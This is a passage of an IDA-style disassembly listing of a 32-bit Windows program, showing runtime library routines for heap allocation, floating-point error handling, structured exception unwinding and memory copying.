loc_417C1D:				; CODE XREF: sub_417BC7+15j
					; sub_417BC7+20j ...
		test	esi, esi
		jnz	short loc_417C24
		push	1
		pop	esi


loc_417C24:				; CODE XREF: sub_417BC7+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_417C2A:				; CODE XREF: sub_417BC7+42j
					; sub_417BC7+54j
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 2700000h


loc_417C39:				; CODE XREF: sub_417BC7+52j
		pop	esi
		retn
sub_417BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3B	proc near		; CODE XREF: sub_402DD7+10Ep
					; sub_402DD7+116p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_417CA1
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	short loc_417C67
		push	esi
		call	sub_41AD89
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417C93
		push	eax
		call	sub_41ADB4
		pop	ecx
		pop	ecx
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------


loc_417C67:				; CODE XREF: sub_417C3B+14j
		cmp	eax, 2
		jnz	short loc_417C92
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417C92
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 0Ch
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------


loc_417C92:				; CODE XREF: sub_417C3B+2Fj
					; sub_417C3B+44j
		push	esi


loc_417C93:				; CODE XREF: sub_417C3B+20j
		push	0
		push	dword_48B684
		call	near ptr 26F0264h
		nop


loc_417CA1:				; CODE XREF: sub_417C3B+Aj
					; sub_417C3B+2Aj ...
		pop	esi
		leave
		retn
sub_417C3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417CA4(double)

sub_417CA4	proc near		; CODE XREF: sub_403FE6+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_439560
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417D2A
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417D0D
		cmp	eax, 2
		jle	short loc_417CFF
		cmp	eax, 3
		jnz	short loc_417D0D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417CFF:				; CODE XREF: sub_417CA4+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417D0D:				; CODE XREF: sub_417CA4+3Aj
					; sub_417CA4+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_417D67
; ---------------------------------------------------------------------------


loc_417D2A:				; CODE XREF: sub_417CA4+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417D4D


loc_417D3F:				; CODE XREF: sub_417CA4+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417D4D:				; CODE XREF: sub_417CA4+99j
		test	bl, 20h
		jnz	short loc_417D3F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_417D67:				; CODE XREF: sub_417CA4+84j
		call	sub_41BFA8
		add	esp, 1Ch


loc_417D6F:				; CODE XREF: sub_417CA4+59j
					; sub_417CA4+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D73	proc near		; CODE XREF: ___:00419AC1p
					; DATA XREF: ___:off_43956Co
		call	sub_417D8B
		call	sub_41C846
		mov	dword_489FF4, eax
		call	sub_41C7F6
		fnclex
		retn
sub_417D73	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_417D8B	proc near		; CODE XREF: sub_417D73p
		mov	eax, offset sub_41CC34
		mov	off_43B904, offset sub_41C8C9
		mov	off_43B900, eax
		mov	off_43B908, offset sub_41C92F
		mov	off_43B90C, offset sub_41C86F
		mov	off_43B910, offset sub_41C917
		mov	off_43B914, eax
		retn
sub_417D8B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DC4	proc near		; CODE XREF: sub_403FE6+1Bp
					; sub_403FE6+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_417DC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417DEB(double)

sub_417DEB	proc near		; CODE XREF: sub_404032+82p
					; ___:00404CF0p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_439578
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417E71
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417E54
		cmp	eax, 2
		jle	short loc_417E46
		cmp	eax, 3
		jnz	short loc_417E54
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E46:				; CODE XREF: sub_417DEB+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E54:				; CODE XREF: sub_417DEB+3Aj
					; sub_417DEB+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_417EAE
; ---------------------------------------------------------------------------


loc_417E71:				; CODE XREF: sub_417DEB+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417E94


loc_417E86:				; CODE XREF: sub_417DEB+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E94:				; CODE XREF: sub_417DEB+99j
		test	bl, 20h
		jnz	short loc_417E86
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_417EAE:				; CODE XREF: sub_417DEB+84j
		call	sub_41BFA8
		add	esp, 1Ch


loc_417EB6:				; CODE XREF: sub_417DEB+59j
					; sub_417DEB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EBA	proc near		; CODE XREF: ___:0041D116p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_417EBA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_417EEE	proc near		; CODE XREF: sub_41D256+199p
					; sub_41D41A+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417EF5	proc near		; CODE XREF: sub_41D256+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_417EFC	proc near		; CODE XREF: sub_4180AE+5Cp
					; sub_41D0A5:loc_41D0D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_417F24
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_422A4C
sub_417EFC	endp

; ---------------------------------------------------------------------------


loc_417F24:				; DATA XREF: sub_417EFC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_417F4B:				; CODE XREF: ___:004230ECj
					; ___:00423109j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41CCAA
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F81	proc near		; CODE XREF: sub_41D120+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_417FD5
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41D4B0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_417F81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FD5	proc near		; DATA XREF: sub_417F81+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		pop	ebp
		retn
sub_417FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FFA	proc near		; CODE XREF: sub_41CEEC+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4180AE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418080
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_48A098
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_418080:				; DATA XREF: sub_417FFA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41809D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4180A6
; ---------------------------------------------------------------------------


loc_41809D:				; CODE XREF: sub_417FFA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_4180A6:				; CODE XREF: sub_417FFA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180AE	proc near		; DATA XREF: sub_417FFA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4180D1
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41811E
; ---------------------------------------------------------------------------


loc_4180D1:				; CODE XREF: sub_4180AE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41810F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_417EFC
; ---------------------------------------------------------------------------


loc_41810F:				; CODE XREF: sub_4180AE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41811E:				; CODE XREF: sub_4180AE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4180AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418123	proc near		; CODE XREF: sub_41CD45+C6p
					; sub_41CEEC+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41817A


loc_418141:				; CODE XREF: sub_418123+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41814B
		call	sub_41D552


loc_41814B:				; CODE XREF: sub_418123+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_418160
		cmp	ecx, [eax+8]
		jle	short loc_418165


loc_418160:				; CODE XREF: sub_418123+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_418171


loc_418165:				; CODE XREF: sub_418123+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_418171:				; CODE XREF: sub_418123+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_418141
		mov	eax, [ebp+var_4]


loc_41817A:				; CODE XREF: sub_418123+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41818E
		cmp	esi, eax
		jbe	short loc_418193


loc_41818E:				; CODE XREF: sub_418123+65j
		call	sub_41D552


loc_418193:				; CODE XREF: sub_418123+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_418123	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4181A0	proc near		; CODE XREF: sub_41F774+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_4181B8
		push	[ebp+arg_0]
		call	sub_422A4C
sub_4181A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181B8	proc near		; DATA XREF: sub_4181A0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4181B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4181C0	proc near		; DATA XREF: sub_4181E2+Ao
					; sub_41824A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4181E1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4181E1:				; CODE XREF: sub_4181C0+10j
		retn
sub_4181C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181E2	proc near		; CODE XREF: sub_41D1C6+Dp
					; sub_41F774+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4181C0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4181FF:				; CODE XREF: sub_4181E2:loc_41823Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41823C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41823C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41823A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_418276
		call	dword ptr [ebx+esi*4+8]


loc_41823A:				; CODE XREF: sub_4181E2+44j
		jmp	short loc_4181FF
; ---------------------------------------------------------------------------


loc_41823C:				; CODE XREF: sub_4181E2+2Aj
					; sub_4181E2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4181E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41824A	proc near		; CODE XREF: sub_41D1E6+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4181C0
		jnz	short locret_41826C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41826C
		mov	eax, 1

locret_41826C:				; CODE XREF: sub_41824A+10j
					; sub_41824A+1Bj
		retn
sub_41824A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41826D	proc near		; CODE XREF: sub_41D4B0+1Ep
					; sub_41D4B0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43957C
		jmp	short loc_418280
sub_41826D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418276	proc near		; CODE XREF: sub_4181E2+4Fp
					; sub_41F774+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43957C
		mov	ecx, [ebp+8]


loc_418280:				; CODE XREF: sub_41826D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_418276	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_404032+5p
					; sub_4041D4+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_418290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4182AF	proc near		; CODE XREF: sub_404667+26p
					; ___:004227E2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417C3B
		pop	ecx
		retn
sub_4182AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182C0	proc near		; CODE XREF: sub_4046D8+3Ap
					; sub_41ADB4+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4182E0
		cmp	edi, eax
		jb	loc_418458


loc_4182E0:				; CODE XREF: sub_4182C0+16j
		test	edi, 3
		jnz	short loc_4182FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------


loc_4182FC:				; CODE XREF: sub_4182C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418314
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41831C+4[eax*4]
; ---------------------------------------------------------------------------


loc_418314:				; CODE XREF: sub_4182C0+46j
		jmp	dword ptr loc_418418[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41831C:				; CODE XREF: sub_4182C0+31j
					; sub_4182C0+8Ej ...
		jmp	off_41839C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41832C+4
		dd offset loc_41835C
; ---------------------------------------------------------------------------


loc_41832C:				; DATA XREF: sub_4182C0+64o
		add	byte ptr [ebx-2EDCFFBFh], 8Ah
		push	es
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41835C:				; DATA XREF: sub_4182C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41839C	dd offset loc_4183FF	; DATA XREF: sub_4182C0:loc_41831Cr
		dd offset loc_4183EC
		dd offset loc_4183E4
		dd offset loc_4183DC
		dd offset loc_4183D4
		dd offset loc_4183CC
		dd offset loc_4183C4
		dd offset loc_4183BC
; ---------------------------------------------------------------------------


loc_4183BC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4183C4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4183CC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4183D4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4183DC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4183E4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4183EC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4183FF:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0:off_41839Co
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_418408	dd offset loc_418418	; DATA XREF: sub_4182C0+35r
					; sub_4182C0+92r ...
		dd offset loc_418420
		dd offset loc_41842C
		dd offset loc_418440
; ---------------------------------------------------------------------------


loc_418418:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418420:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41842C:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
